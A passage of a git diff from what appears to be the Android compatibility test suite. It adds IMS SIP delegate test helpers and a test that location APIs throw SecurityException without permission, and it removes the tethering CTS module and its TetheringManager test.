+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class TestSipDelegateConnection implements DelegateConnectionStateCallback,
+        DelegateConnectionMessageCallback {
+
+    private interface ExceptionRunnable {
+        void run() throws Exception;
+    }
+
+    private static final String LOG_TAG = "CtsImsSipDelegateC";
+
+    public int destroyReason = -1;
+    public SipDelegateConnection connection;
+    public Set<FeatureTagState> deniedTags;
+    public DelegateRegistrationState regState;
+    public SipDelegateImsConfiguration sipConfig;
+    public final DelegateRequest delegateRequest;
+
+    private int mReceivedMessageErrorResponseReason = -1;
+    private CountDownLatch mLatch;
+    // Pair is <transactionId, error reason>
+    private final LinkedBlockingQueue<SipMessage> mReceivedMessages = new LinkedBlockingQueue<>();
+    private final LinkedBlockingQueue<Pair<String, Integer>> mSentMessageAcks =
+            new LinkedBlockingQueue<>();
+
+    public TestSipDelegateConnection(DelegateRequest request) {
+        delegateRequest = request;
+    }
+
+    public void connect(SipDelegateManager manager) throws Exception {
+        callUntilImsServiceIsAvailableNoReturn(() ->
+                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                        manager, (m) -> m.createSipDelegate(delegateRequest, Runnable::run, this,
+                                this), ImsException.class,
+                        "android.permission.MODIFY_PHONE_STATE"));
+    }
+
+    public void disconnect(SipDelegateManager manager, int reason) throws Exception {
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                manager, (m) -> m.destroySipDelegate(connection, reason),
+                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+    }
+
+    @Override
+    public void onMessageReceived(@NonNull SipMessage message) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageReceived");
+        mReceivedMessages.offer(message);
+        if (mReceivedMessageErrorResponseReason > -1) {
+            connection.notifyMessageReceiveError(ImsUtils.TEST_TRANSACTION_ID,
+                    mReceivedMessageErrorResponseReason);
+        } else {
+            connection.notifyMessageReceived(ImsUtils.TEST_TRANSACTION_ID);
+        }
+    }
+
+    @Override
+    public void onMessageSent(@NonNull String viaTransactionId) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageSent");
+        mSentMessageAcks.offer(new Pair<>(viaTransactionId, -1));
+    }
+
+    @Override
+    public void onMessageSendFailure(@NonNull String viaTransactionId, int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onMessageSendFailure");
+        mSentMessageAcks.offer(new Pair<>(viaTransactionId, reason));
+    }
+
+    @Override
+    public void onCreated(@NonNull SipDelegateConnection c) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onCreated");
+        connection = c;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onFeatureTagStatusChanged(@NonNull DelegateRegistrationState registrationState,
+            @NonNull Set<FeatureTagState> deniedFeatureTags) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onFeatureTagStatusChanged");
+        regState = registrationState;
+        deniedTags = deniedFeatureTags;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onImsConfigurationChanged(
+            @NonNull SipDelegateImsConfiguration registeredSipConfig) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onImsConfigurationChanged");
+        sipConfig = registeredSipConfig;
+        mLatch.countDown();
+    }
+
+    @Override
+    public void onDestroyed(int reason) {
+        if (ImsUtils.VDBG) Log.d(LOG_TAG, "onDestroyed");
+        connection = null;
+        destroyReason = reason;
+        mLatch.countDown();
+    }
+
+    public void sendMessageAndVerifyCompletedSuccessfully(SipMessage messageToSend)
+            throws Exception {
+        assertNotNull("SipDelegate was null when sending message", connection);
+        connection.sendMessage(messageToSend, sipConfig.getVersion());
+        Pair<String, Integer> ack = mSentMessageAcks.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertNotNull(ack);
+        assertEquals(ImsUtils.TEST_TRANSACTION_ID, ack.first);
+        assertNotNull(ack.second);
+        assertEquals(-1, ack.second.intValue());
+    }
+
+    public void sendMessageAndVerifyFailure(SipMessage messageToSend, int expectedReason)
+            throws Exception {
+        assertNotNull("SipDelegate was null when sending message", connection);
+        // send invalid version if it was not sent.
+        long version = (sipConfig != null) ? sipConfig.getVersion() : -1;
+        connection.sendMessage(messageToSend, version);
+        Pair<String, Integer> ack = mSentMessageAcks.poll(ImsUtils.TEST_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertNotNull(ack);
+        // TODO actually check this, but for now the platform can not inspect SipMessages and send
+        // the real transaction ID. So, just ensure it is null.
+        //assertEquals(ImsUtils.TEST_TRANSACTION_ID, ack.first);
+        assertNotNull(ack.second);
+        assertEquals(expectedReason, ack.second.intValue());
+    }
+
+    public void verifyMessageReceived(SipMessage messageToVerify)
+            throws Exception {
+        SipMessage m = mReceivedMessages.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(messageToVerify, m);
+    }
+
+    public void setReceivedMessageErrorResponseReason(int reason) {
+        mReceivedMessageErrorResponseReason = reason;
+    }
+
+    public void verifyDelegateCreated() {
+        assertNotNull("SipDelegate is null when it should have been created", connection);
+    }
+
+    public void verifyConfigEquals(SipDelegateImsConfiguration config) {
+        assertNotNull("SIP configuration should not be null", sipConfig);
+        assertEquals("IMS config version is not correct", config.getVersion(),
+                sipConfig.getVersion());
+        PersistableBundle b = config.copyBundle();
+        for (String key : b.keySet()) {
+            assertTrue("tracked sip config does not contain the key [" + key + "}",
+                    sipConfig.containsKey(key));
+            // Not a true equality check, but close enough for the purposes of this test.
+            assertEquals(config.getString(key), sipConfig.getString(key));
+            assertEquals(config.getInt(key, -1), sipConfig.getInt(key, -1));
+            assertEquals(config.getBoolean(key, false),
+                    sipConfig.getBoolean(key, false));
+        }
+    }
+
+    public void verifyRegistrationStateRegistered() {
+        verifyRegistrationStateRegistered(delegateRequest.getFeatureTags());
+    }
+
+    public void verifyRegistrationStateRegistered(Set<String> tags) {
+        assertNotNull(regState);
+        assertFalse("No registered features found",
+                regState.getRegisteredFeatureTags().isEmpty());
+        ArraySet<String> notRegistered = new ArraySet<>(tags);
+        notRegistered.removeAll(regState.getRegisteredFeatureTags());
+        assertTrue("Not all requested features were registered: " + notRegistered,
+                notRegistered.isEmpty());
+        assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+    }
+
+    public void verifyRegistrationStateEmpty() {
+        assertNotNull(regState);
+        assertTrue(regState.getRegisteredFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
+        assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+    }
+
+    public void verifyRegistrationStateEquals(DelegateRegistrationState s) {
+        assertEquals("unexpected registered tags", s.getRegisteredFeatureTags(),
+                regState.getRegisteredFeatureTags());
+        assertEquals("unexpected deregistering tags", s.getDeregisteringFeatureTags(),
+                regState.getDeregisteringFeatureTags());
+        assertEquals("unexpected deregistered tags", s.getDeregisteredFeatureTags(),
+                regState.getDeregisteredFeatureTags());
+    }
+
+
+    public void verifyNoneDenied() {
+        assertNotNull(deniedTags);
+        assertTrue(deniedTags.isEmpty());
+    }
+
+    public void verifyDenied(Set<FeatureTagState> denied) {
+        assertNotNull(deniedTags);
+        assertEquals(denied, deniedTags);
+    }
+
+    public void verifyAllDenied(int reason) {
+        assertNotNull(deniedTags);
+        // Ensure that if the request is empty, the denied tags are also empty.
+        if (delegateRequest.getFeatureTags().isEmpty()) {
+            assertTrue(deniedTags.isEmpty());
+        }
+        // All should be denied with the same reason.
+        FeatureTagState incorrectReason = deniedTags.stream().filter((t) -> t.getState() != reason)
+                .findAny().orElse(null);
+        Set<String> deniedFeatures = deniedTags.stream().map(FeatureTagState::getFeatureTag)
+                .collect(Collectors.toSet());
+        assertNull(incorrectReason);
+
+        Set<String> requestedTags = new ArraySet<>(delegateRequest.getFeatureTags());
+        requestedTags.removeAll(deniedFeatures);
+        assertTrue("Not all tags denied: " + requestedTags, requestedTags.isEmpty());
+    }
+
+    public void verifyDestroyed(int reason) {
+        assertEquals(reason, destroyReason);
+    }
+
+    /**
+     * Set the number of operations that are expected to happen. Use {@link #waitForCountDown(long)}
+     * to wait for the operations to occur.
+     */
+    public void setOperationCountDownLatch(int operationCount) {
+        mLatch = new CountDownLatch(operationCount);
+    }
+
+    /**
+     * Wait for the latch set in {@link #setOperationCountDownLatch(int)} to complete.
+     * @param timeoutMs The time to wait before giving up.
+     * @return {@code true} if the latch successfully counted down, {@code false} if time elaptsed
+     * before it counted down.
+     */
+    public boolean waitForCountDown(long timeoutMs) {
+        while (mLatch.getCount() > 0) {
+            try {
+                return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException ignore) { }
+        }
+        return true;
+    }
+
+    /**
+     * Wait up to five seconds (retrying a command 1 time per second) until ImsExceptions due to the
+     * ImsService not being available go away.
+     */
+    private void callUntilImsServiceIsAvailableNoReturn(ExceptionRunnable command)
+            throws Exception {
+        int retry = 0;
+        while (retry < 5) {
+            try {
+                command.run();
+                return;
+            } catch (ImsException e) {
+                // we want to absorb only the unavailable error, as telephony may still be
+                // internally setting up. Any other type of ImsException is unexpected.
+                if (e.getCode() != ImsException.CODE_ERROR_SERVICE_UNAVAILABLE) {
+                    throw e;
+                }
+            }
+            Thread.sleep(1000);
+            retry++;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
new file mode 100644
index 0000000..ed5a07b
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.fail;
+
+import android.telephony.ims.DelegateMessageCallback;
+import android.telephony.ims.DelegateRequest;
+import android.telephony.ims.DelegateStateCallback;
+import android.telephony.ims.stub.SipDelegate;
+import android.telephony.ims.stub.SipTransportImplBase;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+public class TestSipTransport extends SipTransportImplBase {
+
+    public static final String ONE_TO_ONE_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.msg\"";
+    public static final String GROUP_CHAT_TAG =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.session\"";
+    public static final String FILE_TRANSFER_HTTP_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gppapplication.ims.iari.rcs.fthttp\"";
+
+    public static final int LATCH_CREATE_DELEGATE = 0;
+    public static final int LATCH_DESTROY_DELEGATE = 1;
+    private static final int LATCH_MAX = 2;
+    protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    private final ArrayList<TestSipDelegate> mDelegates = new ArrayList<>();
+    private final Object mLock = new Object();
+
+    public TestSipTransport(Executor executor) {
+        super(executor);
+    }
+
+    @Override
+    public void createSipDelegate(int subscriptionId, @NonNull DelegateRequest request,
+            @NonNull DelegateStateCallback dc, @NonNull DelegateMessageCallback mc) {
+        TestSipDelegate d = new TestSipDelegate(subscriptionId, request, dc, mc);
+        synchronized (mLock) {
+            mDelegates.add(d);
+        }
+        countDownLatch(LATCH_CREATE_DELEGATE);
+    }
+
+    @Override
+    public void destroySipDelegate(@NonNull SipDelegate delegate, int reason) {
+        if (delegate instanceof TestSipDelegate) {
+            synchronized (mLock) {
+                mDelegates.remove(delegate);
+            }
+            countDownLatch(LATCH_DESTROY_DELEGATE);
+        } else {
+            fail("unknown delegate passed in!");
+        }
+    }
+
+    public List<TestSipDelegate> getDelegates() {
+        synchronized (mLock) {
+            return mDelegates;
+        }
+    }
+
+    public TestSipDelegate getDelegate(DelegateRequest request) {
+        synchronized (mLock) {
+            return mDelegates.stream().filter((d) -> d.delegateRequest.equals(request))
+                    .findFirst().orElse(null);
+        }
+    }
+
+    public boolean waitForLatchCountdownAndReset(int latchIndex) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    private void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
+}
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/NoLocationPermissionTest.java b/tests/tests/telephony2/src/android/telephony2/cts/NoLocationPermissionTest.java
new file mode 100644
index 0000000..48d1cc59
--- /dev/null
+++ b/tests/tests/telephony2/src/android/telephony2/cts/NoLocationPermissionTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony2.cts;
+
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.telephony.CellInfo;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+
+@RunWith(AndroidJUnit4.class)
+public class NoLocationPermissionTest {
+
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
+    @SuppressWarnings("deprecation")
+    @Test
+    public void testGetCellLocation() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.getCellLocation();
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetAllCellInfo() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.getAllCellInfo();
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testListenCellLocation() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.listen(new PhoneStateListener(Runnable::run),
+                    PhoneStateListener.LISTEN_CELL_LOCATION);
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestCellInfoUpdate() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.requestCellInfoUpdate(Runnable::run,
+                    new TelephonyManager.CellInfoCallback() {
+                        @Override
+                        public void onCellInfo(List<CellInfo> cellInfos) {
+                        }
+                    });
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+}
diff --git a/tests/tests/tethering/Android.bp b/tests/tests/tethering/Android.bp
deleted file mode 100644
index b1d4a60..0000000
--- a/tests/tests/tethering/Android.bp
+++ /dev/null
@@ -1,56 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsTetheringTest",
-    defaults: ["cts_defaults"],
-
-    libs: [
-        "android.test.base",
-    ],
-
-    srcs: [
-        "src/**/*.java",
-    ],
-
-    static_libs: [
-        "TetheringCommonTests",
-        "TetheringIntegrationTestsLib",
-        "compatibility-device-util-axt",
-        "cts-net-utils",
-        "net-tests-utils",
-        "ctstestrunner-axt",
-        "junit",
-        "junit-params",
-    ],
-
-    jni_libs: [
-        // For mockito extended
-        "libdexmakerjvmtiagent",
-        "libstaticjvmtiagent",
-    ],
-
-    // Change to system current when TetheringManager move to bootclass path.
-    platform_apis: true,
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts",
-    ],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-}
diff --git a/tests/tests/tethering/AndroidManifest.xml b/tests/tests/tethering/AndroidManifest.xml
deleted file mode 100644
index 665002e..0000000
--- a/tests/tests/tethering/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.tethering.cts">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-
-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-    </application>
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.tethering.cts"
-                     android:label="CTS tests of android.tethering">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/tethering/AndroidTest.xml b/tests/tests/tethering/AndroidTest.xml
deleted file mode 100644
index e752e3a..0000000
--- a/tests/tests/tethering/AndroidTest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Tethering test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsTetheringTest.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.tethering.cts" />
-    </test>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.tethering" />
-    </object>
-</configuration>
diff --git a/tests/tests/tethering/OWNERS b/tests/tests/tethering/OWNERS
deleted file mode 100644
index cd6abeb..0000000
--- a/tests/tests/tethering/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# Bug component: 31808
-lorenzo@google.com
-satk@google.com
-
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
deleted file mode 100644
index 92dca39..0000000
--- a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
+++ /dev/null
@@ -1,800 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.tethering.test;
-
-import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_DUN;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET;
-import static android.net.TetheringManager.TETHERING_USB;
-import static android.net.TetheringManager.TETHERING_WIFI;
-import static android.net.TetheringManager.TETHERING_WIFI_P2P;
-import static android.net.TetheringManager.TETHER_ERROR_ENTITLEMENT_UNKNOWN;
-import static android.net.TetheringManager.TETHER_ERROR_NO_CHANGE_TETHERING_PERMISSION;
-import static android.net.TetheringManager.TETHER_ERROR_NO_ERROR;
-import static android.net.TetheringManager.TETHER_HARDWARE_OFFLOAD_FAILED;
-import static android.net.TetheringManager.TETHER_HARDWARE_OFFLOAD_STARTED;
-import static android.net.TetheringManager.TETHER_HARDWARE_OFFLOAD_STOPPED;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.TetheredClient;
-import android.net.TetheringManager;
-import android.net.TetheringManager.OnTetheringEntitlementResultListener;
-import android.net.TetheringManager.TetheringEventCallback;
-import android.net.TetheringManager.TetheringInterfaceRegexps;
-import android.net.TetheringManager.TetheringRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.cts.util.CtsNetUtils.TestNetworkCallback;
-import android.net.wifi.WifiClient;
-import android.net.wifi.WifiManager;
-import android.net.wifi.WifiManager.SoftApCallback;
-import android.os.Bundle;
-import android.os.ConditionVariable;
-import android.os.PersistableBundle;
-import android.os.ResultReceiver;
-import android.telephony.CarrierConfigManager;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.net.module.util.ArrayTrackRecord;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
-
-@RunWith(AndroidJUnit4.class)
-public class TetheringManagerTest {
-
-    private Context mContext;
-
-    private ConnectivityManager mCm;
-    private TetheringManager mTM;
-    private WifiManager mWm;
-    private PackageManager mPm;
-
-    private TetherChangeReceiver mTetherChangeReceiver;
-    private CtsNetUtils mCtsNetUtils;
-
-    private static final int DEFAULT_TIMEOUT_MS = 60_000;
-
-    private void adoptShellPermissionIdentity() {
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        uiAutomation.adoptShellPermissionIdentity();
-    }
-
-    private void dropShellPermissionIdentity() {
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        uiAutomation.dropShellPermissionIdentity();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        adoptShellPermissionIdentity();
-        mContext = InstrumentationRegistry.getContext();
-        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-        mTM = (TetheringManager) mContext.getSystemService(Context.TETHERING_SERVICE);
-        mWm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
-        mPm = mContext.getPackageManager();
-        mCtsNetUtils = new CtsNetUtils(mContext);
-        mTetherChangeReceiver = new TetherChangeReceiver();
-        final IntentFilter filter = new IntentFilter(
-                TetheringManager.ACTION_TETHER_STATE_CHANGED);
-        final Intent intent = mContext.registerReceiver(mTetherChangeReceiver, filter);
-        if (intent != null) mTetherChangeReceiver.onReceive(null, intent);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mTM.stopAllTethering();
-        mContext.unregisterReceiver(mTetherChangeReceiver);
-        dropShellPermissionIdentity();
-    }
-
-    private static class StopSoftApCallback implements SoftApCallback {
-        private final ConditionVariable mWaiting = new ConditionVariable();
-        @Override
-        public void onStateChanged(int state, int failureReason) {
-            if (state == WifiManager.WIFI_AP_STATE_DISABLED) mWaiting.open();
-        }
-
-        @Override
-        public void onConnectedClientsChanged(List<WifiClient> clients) { }
-
-        public void waitForSoftApStopped() {
-            if (!mWaiting.block(DEFAULT_TIMEOUT_MS)) {
-                fail("stopSoftAp Timeout");
-            }
-        }
-    }
-
-    // Wait for softAp to be disabled. This is necessary on devices where stopping softAp
-    // deletes the interface. On these devices, tethering immediately stops when the softAp
-    // interface is removed, but softAp is not yet fully disabled. Wait for softAp to be
-    // fully disabled, because otherwise the next test might fail because it attempts to
-    // start softAp before it's fully stopped.
-    private void expectSoftApDisabled() {
-        final StopSoftApCallback callback = new StopSoftApCallback();
-        try {
-            mWm.registerSoftApCallback(c -> c.run(), callback);
-            // registerSoftApCallback will immediately call the callback with the current state, so
-            // this callback will fire even if softAp is already disabled.
-            callback.waitForSoftApStopped();
-        } finally {
-            mWm.unregisterSoftApCallback(callback);
-        }
-    }
-
-    private class TetherChangeReceiver extends BroadcastReceiver {
-        private class TetherState {
-            final ArrayList<String> mAvailable;
-            final ArrayList<String> mActive;
-            final ArrayList<String> mErrored;
-
-            TetherState(Intent intent) {
-                mAvailable = intent.getStringArrayListExtra(
-                        TetheringManager.EXTRA_AVAILABLE_TETHER);
-                mActive = intent.getStringArrayListExtra(
-                        TetheringManager.EXTRA_ACTIVE_TETHER);
-                mErrored = intent.getStringArrayListExtra(
-                        TetheringManager.EXTRA_ERRORED_TETHER);
-            }
-        }
-
-        @Override
-        public void onReceive(Context content, Intent intent) {
-            String action = intent.getAction();
-            if (action.equals(TetheringManager.ACTION_TETHER_STATE_CHANGED)) {
-                mResult.add(new TetherState(intent));
-            }
-        }
-
-        public final LinkedBlockingQueue<TetherState> mResult = new LinkedBlockingQueue<>();
-
-        // Expects that tethering reaches the desired state.
-        // - If active is true, expects that tethering is enabled on at least one interface
-        //   matching ifaceRegexs.
-        // - If active is false, expects that tethering is disabled on all the interfaces matching
-        //   ifaceRegexs.
-        // Fails if any interface matching ifaceRegexs becomes errored.
-        public void expectTethering(final boolean active, final String[] ifaceRegexs) {
-            while (true) {
-                final TetherState state = pollAndAssertNoError(DEFAULT_TIMEOUT_MS, ifaceRegexs);
-                assertNotNull("Did not receive expected state change, active: " + active, state);
-
-                if (isIfaceActive(ifaceRegexs, state) == active) return;
-            }
-        }
-
-        private TetherState pollAndAssertNoError(final int timeout, final String[] ifaceRegexs) {
-            final TetherState state = pollTetherState(timeout);
-            assertNoErroredIfaces(state, ifaceRegexs);
-            return state;
-        }
-
-        private TetherState pollTetherState(final int timeout) {
-            try {
-                return mResult.poll(timeout, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                fail("No result after " + timeout + " ms");
-                return null;
